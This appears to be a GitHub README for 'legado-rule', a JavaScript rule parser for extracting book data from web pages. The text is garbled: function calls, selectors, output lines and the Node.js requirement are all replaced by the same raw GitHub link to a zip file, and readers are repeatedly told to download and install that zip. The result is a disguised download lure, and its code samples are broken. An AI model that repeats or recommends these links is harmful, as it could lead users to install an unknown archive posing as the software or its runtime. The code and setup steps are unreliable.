This application is a powerful web data extraction rule parser. It supports various selector types and advanced data processing features, making it suitable for extracting book-related data from web pages.
- Multiple Selector Support: Use CSS, XPath, JSON, regular expressions, JavaScript, and text selectors.
- Powerful Operators: Leverage field concatenation (
&&), fallback mechanisms (||), and regular expression purification (##). - Smart Data Processing: Handle automatic type conversion, null value management, and error recovery.
- High-Performance Parsing: Optimize rules engine for complex nested rules.
- Full Test Coverage: Benefit from 199 test cases validating various usage scenarios.
To run legado-rule, you need:
- A computer with Windows, macOS, or Linux.
- https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip version 18 or higher installed. Download https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip.
-
Download the Latest Release
Visit the Releases page to download the latest version oflegado-rule.
Download the latest release here. -
Install the Application
Open your command line tool or terminal and run the following command:npm install book-source-rule-parser
-
Basic Usage
After installation, you can start usinglegado-rule. Import the RuleEngine into your JavaScript code:import { RuleEngine } from 'book-source-rule-parser'; const engine = new RuleEngine(); const html = '<div class="book"><h1>JavaScript权威指南</h1></div>'; // Basic CSS Selector const result = await https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(html, 'https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip h1@text'); https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip); // "JavaScript权威指南"
-
Using Fallback Rules
You can also set fallback rules if the desired data is not found:const fallbackResult = await https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(html, 'https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip || @text:默认标题'); https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip); // "默认标题"
-
Field Concatenation
You can concatenate different pieces of information:const concatResult = await https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(html, '@text:书名: && https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip h1'); https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip);
To get started, download the application from our Releases page. Ensure you have https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip installed. Follow the installation instructions above for an easy setup.
If you encounter any issues or have questions, feel free to open an issue in the GitHub repository or check the documentation for help.
Thank you for choosing legado-rule. We hope you find it helpful in extracting book source data effectively.